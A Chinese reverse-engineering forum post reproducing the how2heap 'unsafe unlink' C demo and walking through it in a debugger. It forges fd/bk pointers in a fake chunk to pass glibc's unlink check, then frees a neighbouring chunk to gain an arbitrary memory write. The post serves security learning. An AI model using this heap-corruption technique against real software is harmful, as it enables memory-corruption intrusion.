学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-9-2 09:51:30 | 查看: 1923| 回复: 0

相关题目:

源码
#include 
  #include 
  #include 
  #include 
  uint64_t *chunk0_ptr;
  int main()
  {
  fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
  fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
  fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
  fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
  int malloc_size = 0x80; //we want to be big enough not to use fastbins
  int header_size = 2;
  fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
  chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
  uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
  fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
  fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
  fprintf(stderr, "We create a fake chunk inside chunk0.\n");
  fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
  chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
  fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
  fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
  chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
  fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
  fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
  fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
  uint64_t *chunk1_hdr = chunk1_ptr - header_size;
  fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
  fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
  chunk1_hdr[0] = malloc_size;
  fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
  fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
  chunk1_hdr[1] &= ~1;
  fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
  fprintf(stderr, "You can find the source of the unlink macro at [url]https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344[/url]\n\n");
  free(chunk1_ptr);
  fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
  char victim_string[8];
  strcpy(victim_string,"Hello!~");
  chunk0_ptr[3] = (uint64_t) victim_string;
  fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
  fprintf(stderr, "Original value: %s\n",victim_string);
  chunk0_ptr[0] = 0x4141414142424242LL;
  fprintf(stderr, "New Value: %s\n",victim_string);
  }
  

运行结果

unsafe_unlink

unsafe_unlink
分析&调试
首先声明了一个全局变量chunk0_ptr:
初始地址在0x602070,内容为0

unsafe_unlink

unsafe_unlink
之后malloc了两块chunk

unsafe_unlink

unsafe_unlink
并将全局变量的值改成了第一个chunk的mem指针地址0x603010

unsafe_unlink

unsafe_unlink
接下去就是要在chunk0中伪造一个chunk了。因为unlink需要检查该节点的前一个节点的后一个节点是不是该节点本身、该节点的后一个节点的前一个结点是不是该节点本身,所以这个我们也需要绕过
首先将chunk0_ptr[2]的值改成了chunk0_ptr的地址-0x18的值,这里是我们伪造的chunk的fd指针
我们将0x602058当做chunk头的话,其bk指针在0x602070上,刚刚好指向我们伪造的这个chunk头的地址

unsafe_unlink

unsafe_unlink
接下来将chunk0_ptr[3]的值也就是我们伪造的bk指针改成chunk0_ptr本身地址-0x10的值
可以看到,若是把0x602060当作chunk头,其fd指针又恰好指向了我们伪造的chunk的地址
(这也太巧妙了)

unsafe_unlink

unsafe_unlink
那么我们伪造的chunk的fd、bk就能通过检查了~
然后我们通过修改chunk1的prev_size\size字段的控制字段欺骗上一块chunk是我们伪造的chunk并且是free状态

unsafe_unlink

unsafe_unlink
这个时候我们再free chunk1,就会触发unlink
它先做Fd->bk=Bk,再做Bk->fd=Fd,也就是chunk0_ptr指针的内容先变成0x602060,再变成0x602058

unsafe_unlink

unsafe_unlink
成功合并:

unsafe_unlink

unsafe_unlink
并且让chunk0_ptr的内容改成了0x602058,这个时候chunk0_ptr 和 chunk0_ptr[3] 指向的是同一个地址

unsafe_unlink

unsafe_unlink

unsafe_unlink

unsafe_unlink
之后将victim_string赋值为Hello!~
并且将改变量地址放到了chunk0_ptr[3]里面,相当于改chunk_ptr指向了变量地址也就是栈的位置

unsafe_unlink

unsafe_unlink
再之后通过chunk0_ptr[0]修改其中的值

unsafe_unlink

unsafe_unlink
总结
  • 巧妙的一点就是伪造chunk的fd和bk可以绕过检测
  • unlink的机制
  • 主要得搞懂chunk0_ptr和chunk0_ptr[x]分别是什么意思
  • 其实主要流程就是在chunk中伪造一个chunk,然后又修改下一个chunk的控制信息,以为上个chunk是free状态,这样free下一个chunk的时候就会触发unlink,就会堆块地址劫持?然后我们通过chunk0_ptr和chunk0_ptr[3]指向同以地址这个特点,通过修改chunk0_ptr[3]的值从而改变chunk0_ptr指向的地址,从而利用chunk0_ptr[0]修改该地址中的内容


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-4-23 15:24 , Processed in 0.103763 second(s), 38 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表